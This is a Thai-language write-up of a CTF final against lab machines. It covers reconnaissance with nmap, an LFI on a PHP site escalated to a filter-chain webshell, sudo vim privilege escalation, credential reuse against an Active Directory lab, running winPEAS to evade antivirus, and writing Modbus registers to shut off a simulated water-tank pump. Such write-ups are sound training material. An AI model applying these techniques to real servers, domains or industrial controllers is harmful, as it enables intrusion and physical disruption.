[TEMPEST CTF 2025 | DropCTF x STH (Final) write up]

TEMPEST CTF 2025 | DropCTF x STH รอบ Final

Alt text สวัสดีครับ ในวันที่ 9-14 กันยายน ที่ผ่านมาทาง DropCTF ได้จัดงาน TEMPEST CTF 2025 | DropCTF x STH รอบคัดเลือกและผมก็จบในอันดับที่ 8 จึงได้เข้ามาสู่รอบ Final ที่จัดแข่งในวันที่ 16-18 ที่ผ่านมาแล้วก็ได้จบไปในอันดับที่ 4 จาก 10 อันดับ โดยในรอบ final นี้มีข้อทั้งหมด ดังนี้

  1. Drop Solution (Easy) - Solved
  2. TO THE TUNNEL (Medium) - Solved
  3. GOES DEEP (Medium) - Solved
  4. DRY TANK (Medium) - Solved
  5. TOMA CHI GURU (Easy) - Solved
  6. AMONGNUD FINAL BOSS (Hard) - Solved

โดยบทความนี้จะเป็น write up ของทุกข้อในรอบ final ซึ่งจะประกอบไปด้วยหมวด Machine, Crypto และ OT ไปเริ่มกันที่ข้อแรกกันเลยดีกว่า

Drop Solution (Easy)

IP: 192.168.2.10

เริ่มด้วยการ nmap เพื่อหา port ที่เปิดอยู่ทั้งหมดในเครื่องนี้

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 192.168.2.10   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 11:26 +07
Nmap scan report for 192.168.2.10
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:59:62:a8:05:60:a9:a1:0e:7e:20:d9:bb:d6:82:31 (ECDSA)
|_  256 30:d6:c6:20:af:f5:67:da:76:a2:31:46:c9:73:0a:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Drop Solution - Water Tank & SCADA Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds

มี port 80 ที่เป็น service http เปิดอยู่เลยเข้าไปที่ url http://192.168.2.10/ Alt text จากนั้นใช้ dirsearch เพื่อหา path ที่อาจซ่อนอยู่

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ dirsearch -u "http://192.168.2.10/"                             
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Downloads/DropCTF/Final/reports/http_192.168.2.10/__25-09-19_12-26-12.txt

Target: http://192.168.2.10/

[12:26:12] Starting: 
[12:26:13] 403 -  277B  - /.ht_wsr.txt                                      
[12:26:13] 403 -  277B  - /.htaccess.bak1                                   
[12:26:13] 403 -  277B  - /.htaccess.orig                                   
[12:26:13] 403 -  277B  - /.htaccess.save
[12:26:13] 403 -  277B  - /.htaccess_orig
[12:26:13] 403 -  277B  - /.htaccess.sample                                 
[12:26:13] 403 -  277B  - /.htaccess_sc                                     
[12:26:13] 403 -  277B  - /.htaccess_extra
[12:26:13] 403 -  277B  - /.htaccessBAK
[12:26:13] 403 -  277B  - /.htaccessOLD                                     
[12:26:13] 403 -  277B  - /.htaccessOLD2
[12:26:13] 403 -  277B  - /.htm                                             
[12:26:13] 403 -  277B  - /.htpasswds                                       
[12:26:13] 403 -  277B  - /.html                                            
[12:26:13] 403 -  277B  - /.htpasswd_test
[12:26:13] 403 -  277B  - /.httr-oauth                                      
[12:26:13] 403 -  277B  - /.php                                             
[12:26:13] 403 -  277B  - /.swp                                                                                         
[12:26:14] 200 -    2KB - /about.php                                        
[12:26:16] 301 -  313B  - /assets  ->  http://192.168.2.10/assets/          
[12:26:16] 200 -  453B  - /assets/
[12:26:17] 200 -    2KB - /contact.php                                      
[12:26:19] 200 -  509B  - /files/                                           
[12:26:19] 301 -  312B  - /files  ->  http://192.168.2.10/files/            
[12:26:19] 301 -  313B  - /images  ->  http://192.168.2.10/images/          
[12:26:19] 200 -  605B  - /images/                                          
[12:26:19] 301 -  315B  - /includes  ->  http://192.168.2.10/includes/      
[12:26:19] 200 -  481B  - /includes/                                        
[12:26:22] 200 -    4KB - /projects.php                                     
[12:26:23] 403 -  277B  - /server-status/                                   
[12:26:23] 403 -  277B  - /server-status                                    
                                                                             
Task Completed

หลังจากลองสำรวจหน้าเว็บในหลายๆ path แล้วจะมีอยู่ path นึงที่น่าสนใจคือ path /projects.php Alt text หลังจากกด view details แล้วถ้าดูดีๆจะเห็นว่ามันทำการไปอ่านไฟล์ใน path /projects.php?detail=files/project_0.txt Alt text เลยลองเปลี่ยนเป็น path /etc/passwd เพื่อเช็คว่ามันทำ LFI ได้มั้ย Alt text ได้ท่าละ แสดงว่าเว็บนี้มีช่องโหว่ LFI ที่ทำให้เราสามารถอ่านไฟล์ต่างๆภายในเครื่อง server ได้ด้วยสิทธิ์ www-data ทีนี้ต่อมาลอง php filter ดูว่าเว็บมันสามารถให้เราทำได้ไหม php://filter/convert.base64-encode/resource= Alt text จะเห็นว่าสามารถทำได้ซึ่งหากเราเอา base64 นี้ไป decode จะได้ source code php ของ projects.php ซึ่งผมก็ได้ทำการไปไล่ดู source code ของทุกไฟล์ในหน้าเว็บแล้วแต่ก็ยังไม่มีอะไรน่าสนใจ เพราะงั้นสิ่งที่จะทำต่อไปคือ ต้องทำให้ช่องโหว่ LFI กลายไปเป็น RCE ให้ได้ ซึ่งจากที่เราสามารถใช้ php filter ได้แล้วก็สามารถต่อยอดให้มันทำ RCE ได้เช่นกัน

จากการหาข้อมูลของ PeterPatter ทำให้ผมรู้ว่าเราสามารถใช้ท่า Simple PHP webshell with php filter chains ในการทำได้ ซึ่งทำให้เราสามารถทำ web shell แบบ in-memory (ไม่ต้องเขียนไฟล์บนดิสก์) ได้ผ่าน filter chain ก็ทำการนำ payload ในเว็บนี้ไปใช้ได้เลย (ขอใช้ burp นะครับเพื่อความสวยงามของ output 😅) Alt text จะเห็นว่ามีไฟล์ shell1.php อันนี้ไม่แน่ใจว่าเป็นความตั้งใจของโจทย์มั้ย แต่ขอใช้แล้วกันนะครับ 😁 ไปที่ url http://192.168.2.10/shell1.php/ Alt text ขอบอกก่อนเลยว่าในรอบ final นี้ทุกคนจะได้เล่นในเครื่องเดียวกันซึ่งมันมีคนทำข้อนี้ได้ไปแล้วหลายคน แล้วผมก็หารหัสของ user ไม่เจอจริงๆ (ลืมบอกไปว่าในเครื่องนี้มี user เดียวนั่นคือ baw) ผมเลยใช้คำสั่ง ps aux เพื่อดู process ทั้งหมด หรือก็คือการขอส่วนบุญจากคนที่ทำไปแล้วนั่นเอง 🤓 Alt text จะเห็นมีอยู่อันนึงที่ดูน่าสงสัยและเหมือนจะเป็น password คือ amongnud123! เลยลองเอาไป ssh ดู Alt text User flag : TEMPEST{First_Flag_Keep_Going_10a130b14e066591c476999ae628b88}

ต่อไปคือการหา root flag ก็ทำการใช้คำสั่ง sudo -l เพื่อดูว่า user นี้สามารถใช้สิทธิ์ root ในการทำอะไรได้บ้าง

baw@web:~/flag$ sudo -l
Matching Defaults entries for baw on web:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User baw may run the following commands on web:
    (ALL) NOPASSWD: /usr/bin/vim

จะได้ว่า user นี้สามารถรัน vim ด้วยสิทธิ์ root ได้ซึ่งเป็นการยกสิทธิ์ที่ค่อนข้าง basic สามารถหาจาก GTFOBins ได้เลย Alt text

Root flag : TEMPEST{W3lcome_To_Root_131d42535e53ec0aee956c7f93e2b7a8}

ซึ่งเอาจริงๆข้อนี้ผมทำนานมากนานที่สุดจากทุกข้อเลยไม่ easy ตามชื่อเลย 😭

TO THE TUNNEL (Medium)

IP : 192.168.3.0/24 ซึ่ง IP นี้จะใช้ในข้อ GOES DEEP ด้วย

เนื่องจากข้อนี้ได้มาเป็น Network IP เลยต้อง scan หา host ที่มีก่อน

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sn 192.168.3.0/24      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 14:24 +07
Nmap scan report for 192.168.3.1
Host is up (0.011s latency).
Nmap scan report for 192.168.3.10
Host is up (0.011s latency).
Nmap scan report for 192.168.3.11
Host is up (0.0078s latency).
Nmap scan report for 192.168.3.12
Host is up (0.0088s latency).
Nmap scan report for 192.168.3.20
Host is up (0.0079s latency).
Nmap scan report for 192.168.3.100
Host is up (0.0083s latency).
Nmap scan report for 192.168.3.254
Host is up (0.0081s latency).
Nmap done: 256 IP addresses (7 hosts up) scanned in 9.14 seconds

จะเห็นว่ามีอยู่หลาย IP ด้วยกันนั่นคือ

  • 192.168.3.10
  • 192.168.3.11
  • 192.168.3.12
  • 192.168.3.20
  • 192.168.3.100
  • 192.168.3.254

(192.168.3.1 ไม่นับเพราะเป็น gateway) ทำการ nmap ทุก IP เพื่อดู port ที่เปิดอยู่ของแต่ละ IP

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 192.168.3.10 192.168.3.11 192.168.3.12 192.168.3.20 192.168.3.100 192.168.3.254
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 14:29 +07
Nmap scan report for 192.168.3.10
Host is up (0.013s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-19 07:29:55Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: dropsolution.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: dropsolution.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -8s
| smb2-time: 
|   date: 2025-09-19T07:30:08
|_  start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:67:09:01 (VMware)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Nmap scan report for 192.168.3.11
Host is up (0.014s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e1:8d:5c:c1:cf:e9:ec:0e:a4:e4:ae:97:17:ba:6f:a3 (ECDSA)
|_  256 e8:7c:80:bc:de:f8:61:01:5c:86:e2:44:42:7e:d2:61 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.3.12
Host is up (0.013s latency).
All 1000 scanned ports on 192.168.3.12 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap scan report for 192.168.3.20
Host is up (0.016s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 10 Pro 19045 microsoft-ds (workgroup: DROPSOLUTION)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CLIENT01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 10 Pro 19045 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Client01
|   NetBIOS computer name: CLIENT01\x00
|   Domain name: dropsolution.local
|   Forest name: dropsolution.local
|   FQDN: Client01.dropsolution.local
|_  System time: 2025-09-19T14:30:08+07:00
| smb2-time: 
|   date: 2025-09-19T07:30:08
|_  start_date: N/A
|_nbstat: NetBIOS name: CLIENT01, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:10:e5:71 (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2h20m03s, deviation: 4h02m21s, median: -8s

Nmap scan report for 192.168.3.100
Host is up (0.014s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
135/tcp  open  msrpc           Microsoft Windows RPC
139/tcp  open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
902/tcp  open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp  open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp open  ms-wbt-server   Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-US7OERQD4E9
| Not valid before: 2025-06-22T21:04:41
|_Not valid after:  2025-12-22T21:04:41
|_ssl-date: 2025-09-19T07:30:23+00:00; 0s from scanner time.
5985/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-09-19T07:30:17
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-US7OERQD4E9, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:c0:00:03 (VMware)

Nmap scan report for 192.168.3.254
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:59:62:a8:05:60:a9:a1:0e:7e:20:d9:bb:d6:82:31 (ECDSA)
|_  256 30:d6:c6:20:af:f5:67:da:76:a2:31:46:c9:73:0a:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Drop Solution - Water Tank & SCADA Services
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Post-scan script results:
| clock-skew: 
|   -2h20m03s: 
|     192.168.3.20
|_    192.168.3.10
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 6 IP addresses (6 hosts up) scanned in 35.14 seconds

จากการดูผล nmap และการสำรวจจะได้ว่า

  • IP : 192.168.3.10 เป็น Domain Controller
  • IP : 192.168.3.11, 192.168.3.12 ไม่น่าเกี่ยว
  • IP : 192.168.3.20 เป็นเครื่อง Windows 10 Pro
  • IP : 192.168.3.100 เป็นเครื่อง Windows Server
  • IP : 192.168.3.254 เป็นเครื่อง Linux เครื่องเดียวกันกับข้อ Drop Solution เลย

เนื่องจากข้อนี้มันเป็นการต่อยอดจากข้อที่แล้ว (Drop Solution) ผมเลยลองใช้ Credential จากข้อที่แล้วในการมาหาข้อมูลดู

Username: baw , Password : amongnud123!

ทำการ enum ดูว่ามี ip ไหนที่สามารถใช้ Credential นี้ในการ login smb ได้บ้าง

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ crackmapexec smb 192.168.3.10 192.168.3.20 192.168.3.100 -u 'baw' -p 'amongnud123!'
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing LDAP protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         192.168.3.20    445    CLIENT01         [*] Windows 10 Pro 19045 x64 (name:CLIENT01) (domain:dropsolution.local) (signing:False) (SMBv1:True)
SMB         192.168.3.100   445    WIN-US7OERQD4E9  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-US7OERQD4E9) (domain:WIN-US7OERQD4E9) (signing:False) (SMBv1:False)
SMB         192.168.3.10    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:dropsolution.local) (signing:True) (SMBv1:False)
SMB         192.168.3.20    445    CLIENT01         [-] dropsolution.local\baw:amongnud123! STATUS_LOGON_TYPE_NOT_GRANTED 
SMB         192.168.3.100   445    WIN-US7OERQD4E9  [+] WIN-US7OERQD4E9\baw:amongnud123! 
SMB         192.168.3.10    445    DC01             [+] dropsolution.local\baw:amongnud123!

จะมี 192.168.3.10 และ 192.168.3.100 เลยลองดู share folder ใน 192.168.3.10 ก่อน

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ smbclient -L 192.168.3.10 -U 'baw'
Password for [WORKGROUP\baw]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        public          Disk      
        share           Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.3.10 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

จะเห็นว่ามี folder ที่เรามีสิทธิ์เข้าถึงและน่าสนใจคือ public และ share ผมเลยลองเข้าไปดูที่ public ก่อน

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ smbclient //192.168.3.10/public -U 'baw'
Password for [WORKGROUP\baw]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Jul 27 13:26:36 2025
  ..                                  D        0  Sun Jul 27 13:26:36 2025
  anubis_hidden.mp3                   A  6722219  Wed Jul 23 11:50:47 2025

                12966143 blocks of size 4096. 9523751 blocks available
smb: \> get anubis_hidden.mp3
getting file \anubis_hidden.mp3 of size 6722219 as anubis_hidden.mp3 (5053.6 KiloBytes/sec) (average 5053.6 KiloBytes/sec)

เจอไฟล์ anubis_hidden.mp3 ผมเลยโหลดมาลงเครื่องเพื่อจะทำการวิเคราะห์ คิดไรไม่ออก strings ไปก่อน Alt text เหมือนจะเจอข้อความที่เป็น base64 เลยเอาไป decode ดู Alt text ตอนนี้ได้ Credential ใหม่มาละ เลยลองเอา username กับ password นี้ไปเข้าเครื่องดูว่าเข้าเครื่องอะไรได้บ้าง

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ crackmapexec winrm 192.168.3.10 192.168.3.20 192.168.3.100 -u Anubis -p 'XxAnubis!999'
SMB         192.168.3.10    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:dropsolution.local)
SMB         192.168.3.100   5985   WIN-US7OERQD4E9  [*] Windows 10 / Server 2019 Build 17763 (name:WIN-US7OERQD4E9) (domain:WIN-US7OERQD4E9)
SMB         192.168.3.20    5985   CLIENT01         [*] Windows 10 / Server 2019 Build 19041 (name:CLIENT01) (domain:dropsolution.local)
HTTP        192.168.3.10    5985   DC01             [*] http://192.168.3.10:5985/wsman
HTTP        192.168.3.100   5985   WIN-US7OERQD4E9  [*] http://192.168.3.100:5985/wsman
HTTP        192.168.3.20    5985   CLIENT01         [*] http://192.168.3.20:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.3.10    5985   DC01             [+] dropsolution.local\Anubis:XxAnubis!999 (Pwn3d!)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.3.100   5985   WIN-US7OERQD4E9  [-] WIN-US7OERQD4E9\Anubis:XxAnubis!999
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.3.20    5985   CLIENT01         [+] dropsolution.local\Anubis:XxAnubis!999 (Pwn3d!)

จะได้ว่าเข้าได้ 2 เครื่องคือ 192.168.3.10 (เครื่อง DC) และเครื่อง 192.168.3.20 (เครื่อง windows) ผมเลยไปเข้าเครื่อง windows ก่อน Alt text Flag : TEMPEST{TryHarderhahaha_a09de17e79986f0ece0d74e2d0606000}

GOES DEEP (Medium)

ต่อมาจากรูปจะเห็นว่ามีไฟล์ secret.zip อยู่ผมเลยลองโหลดมาที่เครื่องเพื่อที่จะแตกไฟล์ดู Alt text

ติด password ดังนั้นตอนนี้คือเราต้องหา password ในการแตกไฟล์ให้เจอจากเครื่อง 192.168.3.20 ซึ่งจาก path Downloads จะเห็นตัว winPEAS.bat อยู่ซึ่งผมโหลดมาลง ผมเลยใช้คำสั่ง .\winPEAS.bat เพื่อทำการ execute (สาเหตุที่ต้องใช้ .bat แทน .exe เพราะผมลองเอา .exe ไปใช้แล้วมัน execute ไม่ได้เนื่องจากเครื่องนี้มี antivirus จึงใช้ .bat เพื่อ bypass ส่วนนี้ได้) ซึ่งจากการที่ผมเลื่อนดูจนตาแตกก็มีไฟล์ที่น่าสงสัยอยู่อันนึง Alt text ลอง cat ดูเนื้อหาข้างในซิ Alt text เจอข้อความนึงซึ่งดูเหมือน password สุดๆ55555 เลยลองเอาไปใช้แตกไฟล์ดู Alt text ได้ Credentials ใหม่มาแล้วลองเอา username และ password นี้ไปเข้าเครื่อง 192.168.3.10 ดู Alt text จะเห็นว่า user Anubus เป็น Administrator บน DC01 ที่เหลือเราก็แค่หา flag ให้เจอ ซึ่งผมก็เจออยู่ใน path C:\Users\Administrator\Desktop> Alt text Flag : TEMPEST{WelCome_TO_AD_PART_619fe030f4b9a5c97ad4c8326b91d345}

DRY TANK (Medium)

IP: 192.168.4.0/24

ข้อนี้ก็ได้เป็น Network IP มาเหมือนกันเลยเริ่มด้วยการ scan ดู host เหมือนเดิม

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sn 192.168.4.0/24                                                                         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 15:39 +07
Nmap scan report for 192.168.4.1
Host is up (0.021s latency).
Nmap scan report for 192.168.4.12
Host is up (0.0082s latency).
Nmap scan report for 192.168.4.20
Host is up (0.0079s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 10.39 seconds

ข้อนี้จะมีอยู่ 2 IP คือ

  • 192.168.4.12
  • 192.168.4.20

ทำการ nmap ทั้ง 2 IP

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 -p- 192.168.4.12 192.168.4.20                                                  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 15:41 +07
Nmap scan report for 192.168.4.12
Host is up (0.013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e1:8d:5c:c1:cf:e9:ec:0e:a4:e4:ae:97:17:ba:6f:a3 (ECDSA)
|_  256 e8:7c:80:bc:de:f8:61:01:5c:86:e2:44:42:7e:d2:61 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.4.20
Host is up (0.012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 38:d0:f0:c2:f8:42:ae:43:94:06:f8:1e:38:82:aa:a2 (ECDSA)
|_  256 f1:78:07:e6:f8:72:f7:a0:6b:1a:4a:a8:e6:cf:eb:cc (ED25519)
502/tcp  open  mbap?
8080/tcp open  http    Werkzeug httpd 2.3.7 (Python 3.10.18)
|_http-title: Industrial Water Tank HMI
|_http-server-header: Werkzeug/2.3.7 Python/3.10.18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 182.90 seconds

หลังจากการดูผล nmap จะได้ว่า ip 192.168.4.12 ไม่น่าเกี่ยวและใน IP 192.168.4.20 มี port 8080 ที่เป็น service http กับ 502 (น่าจะเป็น protocol modbus) เปิดอยู่ เลยลองเข้าไปที่ url http://192.168.4.20:8080/ Alt text จากรูปจะมีเหมือนเป็นคู่มือเล็กๆอยู่ด้านล่างว่าที่

  • register ตำแหน่งที่ 0 ใช้สำหรับการเปิด/ปิด ปั้ม (1= เปิด, 0= ปิด)
  • register ตำแหน่งที่ 1 เป็นค่าของระดับน้ำ

ซึ่งใช้ตัวของ protocol modbus ในการควบคุม ดังนั้นสิ่งที่เราต้องทำคือปรับ water level และ pump control เป็น 0 หรือก็คือปรับ register ตำแหน่งที่ 0 และตำแหน่งที่ 1 เป็น 0 flag น่าจะออกเลย โดยผมจะใช้ tool mbtget ในการยิงเปลี่ยนค่า โดยเราต้องรู้ slave ID ก่อนว่าเป็นเท่าไหร่ โดยการใช้คำสั่ง

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -p502 --script modbus-discover 192.168.4.20
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 16:10 +07
Nmap scan report for 192.168.4.20
Host is up (0.0070s latency).

PORT    STATE SERVICE
502/tcp open  modbus
| modbus-discover: 
|   sid 0x1: 
|     Slave ID data: CTF Water Tank-CTF-WT-001-1.0\xFF
|_    Device identification: CTF Water Tank CTF-WT-001 1.0

Nmap done: 1 IP address (1 host up) scanned in 5.72 seconds

จะได้ sid = 1 จากนั้นทำการยิงได้เลยยยย Alt text

  • -u 1 → Slave ID 1
  • -a 0,1 → Address 0,1 (pump control)
  • -w6 0 → Write single register, ค่า 0
  • -p 502 → port_number 502

จากนั้นกลับไปดูที่หน้าเว็บ Alt text Flag : TEMPEST{Pump_Stopped_And_The_Tank_Is_Dry_539366767c36e92f2022e05af96ea3fd}

TOMA CHI GURU (Easy)

ข้อนี้เป็นข้อ Crypto ซึ่งโจทย์จะให้ไฟล์ TOMACHIGURU.txt มาผมเลยลองโหลดมาเปิดดู Alt text จะเห็นว่ามีตัวอักษรแปลกๆที่อ่านไม่ออกอยู่ ผมเลยเอาตัวอักษรแปลกๆพวกนี้ไป decode ในเว็บ 2cyr.com Alt text Flag : TEMPEST{162e822676efa4b42516a96da746cd6b}

AMONGNUD FINAL BOSS (Hard)

IP: 192.168.100.10
จงหา OSINT หาข้อมูลเกี่ยวกับ amongnud206 และหาทางเข้าเครื่องให้เจอ ณ หุบเขา แมงกระสุนหัวกระพรุน อันห่างไกล มีท่านจอมยุทธ์ผู้หนึ่ง ผู้คร่ำหวอดในยุทธภพไซเบอร์ ได้เข้าไปฝึกวิชาโจมตี Active Directory จนกลายเป็นเคล็ดวิชาไม้ตายขั้นสุดยอด สามารถยกระดับสิทธิ์ user ได้ราวกับเสกเปลวเพลิง และหลังจากนั้นท่านจอมยุทธ์ได้ออกมาสร้างสำนักและก่อตั้ง บริษัท Amongnud ไม่จำกัด แต่เกิดเหตุการไม่คาดคิดท่านจอมยุทธ์ได้ Config Active Directory ผิดพลาด จงหาข้อผิดพลาดและรับ ตำรา เทพีเทพมังกร ให้เจอ จงหา OSINT ข้อมูลเกี่ยวกับ amongnud206 และหาทางเข้าเครื่องให้เจอ

